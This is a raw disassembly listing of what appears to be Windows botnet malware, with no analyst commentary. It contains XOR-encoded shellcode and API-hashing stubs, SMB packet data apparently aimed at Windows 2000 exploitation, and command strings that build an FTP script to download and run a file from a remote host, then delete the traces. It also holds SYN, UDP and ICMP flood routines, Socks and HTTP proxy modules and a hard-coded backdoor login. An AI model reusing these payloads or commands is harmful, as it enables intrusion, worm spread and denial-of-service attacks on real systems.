jz short loc_445AB9
ror edi, 0Dh
add edi, eax
jmp short loc_445AAD
; ---------------------------------------------------------------------------
loc_445AB9: ; CODE XREF: sub_445A8A+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_445AA0
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_445ADA: ; CODE XREF: sub_445A8A:loc_445AA0j
; sub_445A8A:loc_445ADAj
jmp short loc_445ADA
sub_445A8A endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_445AE0 proc near ; DATA XREF: sub_425100+1Eo
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_445B32
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_445AFD: ; CODE XREF: sub_445AE0+38j
jecxz short loc_445B2D
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_445B08: ; CODE XREF: sub_445AE0+32j
lodsb
test al, al
jz short loc_445B14
ror edx, 0Dh
add edx, eax
jmp short loc_445B08
; ---------------------------------------------------------------------------
loc_445B14: ; CODE XREF: sub_445AE0+2Bj
cmp edx, [esp+arg_0]
jnz short loc_445AFD
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_445B2D: ; CODE XREF: sub_445AE0:loc_445AFDj
mov [esp+arg_0], ebx
retn
sub_445AE0 endp
; =============== S U B R O U T I N E =======================================
sub_445B32 proc near ; CODE XREF: sub_445AE0+7p
; FUNCTION CHUNK AT 00445B6A SIZE 00000005 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_445B4B
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_445B56
; ---------------------------------------------------------------------------
loc_445B4B: ; CODE XREF: sub_445B32+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_445B56: ; CODE XREF: sub_445B32+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_445B6A
sub_445B32 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_445B5D proc near ; CODE XREF: sub_445B32:loc_445B6Ap
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_445B5D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_445B32
loc_445B6A: ; CODE XREF: sub_445B32+29j
call sub_445B5D
; END OF FUNCTION CHUNK FOR sub_445B32
; ---------------------------------------------------------------------------
db 0
dd 25h dup(0)
dword_445C04 dd 23h dword_445C08 dd 60h dword_445C0C dd 62B0606h, 2050501h, 0A0hdword_445C18 dd 0A1h dword_445C1C dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_424920+16Do
align 4
loc_445C28: ; DATA XREF: sub_424920+100o
jmp short near ptr dword_445C30
; ---------------------------------------------------------------------------
align 10h
dword_445C30 dd 0 aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>'
; DATA XREF: sub_425100+60o
db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &'
db '%s',0Dh,0Ah,0
align 4
dd 7 dup(0)
; ---------------------------------------------------------------------------
jmp short loc_445CEA
; =============== S U B R O U T I N E =======================================
sub_445CDA proc far ; CODE XREF: sub_445CDA:loc_445CEAp
pop ebx
dec ebx
xor ecx, ecx
mov cx, 125h
loc_445CE2: ; CODE XREF: sub_445CDA+Cj
xor byte ptr [ebx+ecx], 99h
loop loc_445CE2
jmp short loc_445CEF
; ---------------------------------------------------------------------------
loc_445CEA: ; CODE XREF: ___:00445CD8j
call near ptr sub_445CDA
loc_445CEF: ; CODE XREF: sub_445CDA+Ej
jo short loc_445D53
cdq
cdq
cdq
mov ch, 38h
test eax, 12999999h
fst dword ptr [ebp+3485E912h]
adc dh, cl
xchg eax, ecx
adc ch, [esi-0Dh]
popf
sal byte ptr [ecx+2], 99h
cdq
cdq
jnp short loc_445D71
icebp
stosb
stosd
cdq
cdq
icebp
out dx, al
jmp far ptr 128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
db 71h
dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
adc dl, [ebp-0Dh]
loc_445D53: ; CODE XREF: sub_445CDA:loc_445CEFj
mov eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
dd 7B32C08Ch
db 64h
; ---------------------------------------------------------------------------
loc_445D71: ; CODE XREF: sub_445CDA+35j
pop edi
fnstsw word ptr [ebp-22982277h]
mov ebp, 0BDC510A4h
rcl dword ptr [eax], 1
lds edi, [ebp-423AEF2Bh]
leave
adc al, 0DDh
mov ebp, 0C8C9CD89h
enter 0FFFFF3C8h, 98h
enter 66C8h, 0EFh
test eax, 9DCF66C8h
adc dl, [ebp-0Dh]
db 66h, 66h
test al, 66h
iret
sub_445CDA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
xchg eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dw 6685h
dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h
dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------
loc_445E18: ; DATA XREF: sub_4257F0+12Bo
; sub_4257F0+135o ...
jmp short loc_445E2A
; =============== S U B R O U T I N E =======================================
sub_445E1A proc near ; CODE XREF: sub_445E1A:loc_445E2Ap
pop edx
dec edx
xor ecx, ecx
mov cx, 17Dh
loc_445E22: ; CODE XREF: sub_445E1A+Cj
xor byte ptr [edx+ecx], 99h
loop loc_445E22
jmp short loc_445E2F
; ---------------------------------------------------------------------------
loc_445E2A: ; CODE XREF: ___:loc_445E18j
call sub_445E1A
loc_445E2F: ; CODE XREF: sub_445E1A+Ej
jo short near ptr dword_445DA8+1Eh
cwde
cdq
cdq
retn
sub_445E1A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0FDh, 38h, 0A9h
dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h
dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h
dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
dd 999B9E5Eh
word_445EC8 dw 4B9Dh ; DATA XREF: sub_4257F0+105w
dw 59AAh
dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh, 66CAC9C9h
dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h, 10627B17h
dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h
dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh
dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h
dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66677671h
dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh
dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h
dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh
dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh
dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh
dd 99EDFCF2h, 0
dword_445FB0 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: ___:00425E52o
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWor_0 db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_44603C dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: ___:00425E87o
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows2000219:
unicode 0, <Windows 2000 2195>,0
aWindows20005_0:
unicode 0, <Windows 2000 5.0>,0
align 8
dword_4460E8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: ___:00425EB6o
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_4461C8 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4257F0+5Do
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
db 43h, 0, 24h
dword_44621F dd 3F000000h dword_446223 dd 3F3F3F3Fh byte_446227 db 0 ; DATA XREF: sub_4257F0+B4r
dd 0
dword_44622C dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4257F0+2C2o
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 0
dword_446298 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4257F0+2F5o
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_44633C dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4257F0+3FAo
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_4463BC dd offset sub_401492+3 ; DATA XREF: sub_4257F0+42Bo
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset byte_406FB0+0CCh
dd 1, 0
dd 1, 0
dd offset byte_406FB0+0CCh
dd 1, 0
dd 1, 0
dd offset byte_406FB0+0CCh
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 0
dword_446450 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4257F0+335o
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 0
dword_4464BC dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4257F0+368o
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_446530 dd 0 dd offset byte_40A893+7
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset byte_40A893+7
dd 1, 0
dd 1, 0
dd offset byte_40A893+7
dd 1, 0
dd 1, 0
dd offset byte_40A893+7
dd 1, 0
dd 1, 3 dup(0)
dword_4465BC dd 1004600h ; sub_4257F0+24Fr
dd 1, 7515123Ch, 2, 751C123Ch, 75h dup(0)
dword_4467A4 dd 61622E63h, 0A0D74h, 0aEchoExitYC_bat db 'echo exit /y >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+2A0o
align 4
dd 0
aEchoDelFC_batC db 'echo del /F c.bat >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+277o
align 10h
aEchoDel_pifC_b db 'echo del .pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+24Eo
dd 0
aEchoSC_bat db 'echo %s >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+221o
align 10h
dd 0
aEchoFtpNVS_pif db 'echo ftp -n -v -s:.pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1E9o
align 4
dd 0
aEcho@echoOffC_ db 'echo @echo off >c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1BCo
align 8
aEchoBye_pif db 'echo bye>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+18Fo
align 10h
aEchoGetS_pif db 'echo GET %s>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+162o
align 4
dd 0
aEchoBinary_pif db 'echo binary>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+12Ao
align 8
aEchoUserAA_pif db 'echo user a a>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+FDo
align 10h
dd 0
aEchoOpenSD_pif db 'echo open %s %d>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+D0o
align 10h
dword_4468F0 dd 6EB06EBh align 8
dword_4468F8 dd 73255C5Ch, 6370695Ch, 24h ; ___:00426352o
dword_446904 dd 1CEC8166h dword_446908 dd 0E4FF07h align 10h
dword_446910 dd 30B0005h, 10h, 48h, 0 dd 16D016D0h, 0
dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_44695C dd 3000005h, 10h, 830h, 0 dd 818h, 1F0000h, 0FFFFFFFFh, 1, 0
dd 1, 2 dup(0)
dword_44698C dd 0FAh, 2, 0 dd 2, 0
dd 0FAh, 2 dup(0)
dword_4469AC dd 0D959516Ah, 2474D9EEh db 0F4h, 5Bh
; ---------------------------------------------------------------------------
loc_4469B6: ; CODE XREF: ___:004469C0j
xor dword ptr [ebx+13h], 889097A8h
sub ebx, 0FFFFFFFCh
loop loc_4469B6
sub [ebx+6Fh], edx
db 67h
push edi
push 7CC274D4h
frstor byte ptr [eax+51h]
push 1CC8776Fh
cld
lodsb
mov word ptr ds:95EB23B4h[edx*8], ds
; ---------------------------------------------------------------------------
db 0F0h, 0A9h, 78h
dd 1CB0C71Bh, 7CA9A8CFh, 1C9C03D9h, 57996691h, 572C2409h
dd 5D698FE4h, 7C6A899Dh, 0B3FCB364h, 1C4DFDB8h, 7CA9ACCFh
dd 0DCA403F6h, 96B4D71Bh, 1C848B7Bh, 8B8CE419h, 4C994BF1h
dd 0A7EB03F4h, 1CA4C81Bh, 1C0594E0h, 0FFF680D0h, 7BA6C61Eh
dd 0F17E77C0h, 0A4C0EEC3h, 0E4DFE0A2h, 68FCD7A2h, 7A63E040h
dd 68F8B36Ch, 7221D746h, 9F4509F6h, 95C2DD92h, 4EC0586Fh
dd 0C0057D99h, 0C4FB5E6Fh, 0D4FBDBC3h, 68FBCBC3h, 86C0EE40h
dd 1EFBEECCh, 33C01D71h, 0C06FF88Ah, 87C25E6Fh, 4757DDC1h
dd 0B9052CF8h, 4157DF79h, 4757DDC3h, 11E16DF8h, 4157DFD9h
dd 0C2FCDCC0h, 0FF3B586Fh, 0EE6EF177h, 0C27E77C7h, 0FDCE586Fh
dd 0F4C0EEF4h, 0FD4D01FDh, 5B81D1C0h, 0D3C26F19h, 57996A19h
dd 0D5562263h, 0BBEA76BDh, 0AFD20503h, 0FF03233Bh, 811B76E2h
dd 68ECFD6Fh, 0C5FFD346h, 0FDF9D9C1h, 0C2F9D991h, 0FF7877C1h
dd 59AD513Dh, 0FD7E77C3h, 689F776Fh, 6BFF0340h, 68CC4C13h
dd 4757DA46h, 776667F8h, 4157DBF0h, 586Fh, 19h dup(0)
aOpenSDIiEchoUs db 'open %s %d >> ii &echo user a a >> ii &echo binary >> ii &echo ge'
; DATA XREF: sub_426070+D6o
db 't %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
align 4
dd 6 dup(0)
aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:004263B4o
align 8
word_446C18 dw 2EBh ; DATA XREF: ___:00426331r
align 4
dword_446C1C dd 215h dd 0
dword_446C24 dd 20804h dd 0
; ---------------------------------------------------------------------------
loc_446C2C: ; DATA XREF: sub_4267D0+CCo
jmp short loc_446C30
; ---------------------------------------------------------------------------
loc_446C2E: ; CODE XREF: ___:loc_446C30p
jmp short loc_446C35
; ---------------------------------------------------------------------------
loc_446C30: ; CODE XREF: ___:loc_446C2Cj
call loc_446C2E
loc_446C35: ; CODE XREF: ___:loc_446C2Ej
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 66h, 0B9h
word_446C3A dw 0FFFFh ; DATA XREF: sub_4267D0+D3w
db 80h, 73h, 0Eh
byte_446C3F db 0FFh ; DATA XREF: sub_4267D0+DAw
dd 0F9E243h
; ---------------------------------------------------------------------------
loc_446C44: ; DATA XREF: sub_4267D0+A7o
jmp short loc_446C48
; ---------------------------------------------------------------------------
loc_446C46: ; CODE XREF: ___:loc_446C48p
jmp short loc_446C4D
; ---------------------------------------------------------------------------
loc_446C48: ; CODE XREF: ___:loc_446C44j
call loc_446C46
loc_446C4D: ; CODE XREF: ___:loc_446C46j
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 0B1h
byte_446C51 db 0FFh ; DATA XREF: sub_4267D0+AEw
dw 7380h
db 0Ch
byte_446C55 db 0FFh ; DATA XREF: sub_4267D0+B4w
dw 0E243h
dd 0F9h
dword_446C5C dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_426560+43o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_446CC0 dd 12h dd 70746674h, 6578652Eh, 20692D20h
dword_446CD0 dd 74656720h byte_446CD4 db 20h ; DATA XREF: sub_426560+A2r
dword_446CD5 dd 0E8006A00h dword_446CD9 dd 17h ; sub_426560+D2r
dword_446CDD dd 0E8C30175h dword_446CE1 dd 1 ; sub_426560+E7r
byte_446CE5 db 0, 6Ah, 0 ; DATA XREF: sub_426560+110o
dd 7E8h
db 0, 0Fh, 84h
dword_446CEF dd 0FFFFFFEDh ; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi ; free
add esp, 54h
test eax, eax
retn
; ---------------------------------------------------------------------------
align 10h
dd 0Ch dup(0)
aPing db 'ping',0 ; DATA XREF: sub_427740+22o
align 4
aSCannotSendPin db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0
; DATA XREF: sub_427800+D0o
align 4
dd 2 dup(0)
aSFinishedFlood db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_427800+B4o
align 10h
dd 2 dup(0)
aSSUtimesUbytes db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_427800+43o
align 4
dd 0
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_427980+38o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_427980+2Bo
align 10h
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_427980+23o
align 10h
dd 0
aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_427980+Co
align 10h
aForsyn db 'forsyn',0 ; DATA XREF: sub_427C90+22o
align 4
aSAttack@SDDone db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_427D50+195o
align 10h
dd 0
aSErrorCreating db '%s: error creating threads',0 ; DATA XREF: sub_427D50+143o
align 10h
dd 0
aSSUDseconds db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_427D50+D3o
align 10h
aSyn db 'syn',0 ; DATA XREF: sub_4281A0+22o
aSSDIkbSec db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00428321o
align 10h
aSSUUsecDms db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_428260+43o
align 4
dd 0
aUdp db 'udp',0 ; DATA XREF: sub_428880+22o
aSSDDone db '%s: %s:%d done',0 ; DATA XREF: sub_428940+C0o
align 10h
dd 0
aSSUUtUbDms db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_428940+47o
align 10h
dd 0
off_446EF4 dd offset byte_455247 ; DATA XREF: sub_4290B0+22o
aSFinishedRedir db '[%s] Finished redirect from "%s" to "%s" over "%s".',0
; DATA XREF: sub_429170+AAo
dd 3 dup(0)
aSStartedRedire db '[%s] Started redirect from "%s" to "%s" over "%s".',0
; DATA XREF: sub_429170+33o
align 4
dd 3 dup(0)
aHttp1_0503Se_0 db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A611o
db 'Server: IIS/5.03',0Dh,0Ah
db 'Content-Type: text/html',0Dh,0Ah
db 'Proxy-Connection: close',0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db 'Connection to %s:%d has failed',0Ah,0
align 4
dd 7 dup(0)
aHttp1_0503Serv db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A5ACo
db 'Server: IIS/5.03',0Dh,0Ah
db 'Content-Type: text/html',0Dh,0Ah
db 'Proxy-Connection: close',0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db 'Error Resolving %s',0Ah,0
align 10h
dd 6 dup(0)
aHttp1_0200Conn db 'HTTP/1.0 200 Connection established',0Dh,0Ah ; DATA XREF: ___:0042A222o
db 0Dh,0Ah,0
dd 2 dup(0)
aConnectionClos db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: ___:loc_42A091o
; ___:0042A0A7o
align 10h
aConnectionKeep db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: ___:0042A073o
; ___:0042A089o
align 10h
aConnection db 'Connection:',0 ; DATA XREF: ___:00429EB4o
align 10h
aChunked db 'chunked',0 ; DATA XREF: ___:00429E71o
dd 0
aTransferEncodi db 'Transfer-Encoding:',0 ; DATA XREF: ___:00429E25o
align 10h
dd 0
aContentLength db 'Content-Length:',0 ; DATA XREF: ___:00429D8Do
align 8
aSSSConnectionC db '%s %s %s',0Dh,0Ah ; DATA XREF: ___:00429BEEo
db 'Connection: close',0Dh,0Ah
db '%s',0
align 10h
aSSSConnectionK db '%s %s %s',0Dh,0Ah ; DATA XREF: ___:00429BB9o
db 'Connection: Keep-Alive',0Dh,0Ah
db '%s',0
align 4
dd 0
aKeepAlive db 'Keep-Alive',0 ; DATA XREF: ___:loc_429ABBo
; ___:00429F00o
align 4
dd 0
aProxyConnectio db 'Proxy-Connection:',0 ; DATA XREF: ___:00429A90o
align 10h
dd 0
asc_4471E4 db 0Dh,0Ah,0 ; DATA XREF: ___:0042997Co
; ___:00429A3Co ...
align 4
aHttprox db 'HTTPROX',0 ; DATA XREF: ___:00429947o
dd 0
aConnect db 'connect',0 ; DATA XREF: ___:00429712o
align 10h
aConnect_0 db 'CONNECT',0 ; DATA XREF: ___:004296DDo
dd 0
off_44720C dd offset byte_544547 ; DATA XREF: ___:00429618o
aHttp_0 db 'HTTP',0 ; DATA XREF: sub_42AC10+22o
align 4
aSUnloadedProxy db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_42AE10+69o
align 10h
aSStartingPro_0 db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_42AE10+2Eo
dd 2 dup(0)
aSStartingProxy db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_42AE10+21o
dd 2 dup(0)
aSocks4 db 'Socks4',0 ; DATA XREF: sub_42AFF0+22o
; sub_42B380+22o
align 4
aSUnloadedPro_0 db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42B440+1E1o
align 4
dd 0
aSStartingSocks db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42B440+2Co
align 4
dd 2 dup(0)
dword_4472EC dd 1000005h, 0 dword_4472F4 dd 5, 205h aSFinishedRed_0 db '[%s] Finished redirecting from port %d to "%s:%d".',0
; DATA XREF: sub_42CB70+20Fo
align 10h
dd 3 dup(0)
aSRedirectingFr db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0
; DATA XREF: sub_42CB70+3Fo
align 10h
aSocks5Starting db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0
; DATA XREF: ___:0042D725o
dd 3 dup(0)
aRoot db 'root',0 ; DATA XREF: ___:0042D6B1o
align 4
dd offset aWoot ; "Woot"
aWoot db 'Woot',0 ; DATA XREF: ___:004473BCo
align 4
aNetworkFailedT db 'Network failed to start: %d',0Ah,0
align 4
dd 0
aCalloc db 'calloc',0
align 4
aSetsockopt db 'setsockopt',0
align 10h
dd 0
aSocket db 'socket',0
align 4
aGethostbyname db 'gethostbyname',0
align 4
aGetservbyname db 'getservbyname',0
align 4
aTcp db 'tcp',0 ; DATA XREF: sub_42DB00+49o
; sub_42DB00:loc_42DBBDo
aControlSocketR db 'Control socket read failed',0 ; DATA XREF: sub_42DE00:loc_42DE22o
align 10h
aRead db 'read',0 ; DATA XREF: sub_42DF40:loc_42E0DCo
align 4
aPassS db 'PASS %s',0 ; DATA XREF: sub_42E3C0+72o
dd 0
aUserS db 'USER %s',0 ; DATA XREF: sub_42E3C0+3Do
align 10h
aWrite db 'write',0
align 4
aS_0 db '%s',0Ah,0 ; DATA XREF: sub_42E490+3Do
aInvalidOpenTyp db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42E5B0+203o
align 8
dword_447498 dd 524F5453h byte_44749C db 0 ; DATA XREF: sub_42E5B0+EDr
align 10h
dword_4474A0 dd 52544552h byte_4474A4 db 0 ; DATA XREF: sub_42E5B0+D3r
align 4
dword_4474A8 dd 5453494Ch byte_4474AC db 0 ; DATA XREF: sub_42E5B0+B8r
align 10h
dword_4474B0 dd 54534C4Eh byte_4474B4 db 0 ; DATA XREF: sub_42E5B0+9Er
align 4
dword_4474B8 dd 45505954h, 632520h, 0 ; ___:0042F9BAo
aMissingPathArg db 'Missing path argument for file transfer',0Ah,0
; DATA XREF: sub_42E5B0+2Do
align 10h
dd 2 dup(0)
aPortDDDDDD db 'PORT %d,%d,%d,%d,%d,%d',0
align 10h
dd 0
aListen db 'listen',0
align 4
aBind db 'bind',0
align 4
aGetsockname db 'getsockname',0
dd 0
aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42E870+10Eo
align 4
dd 0
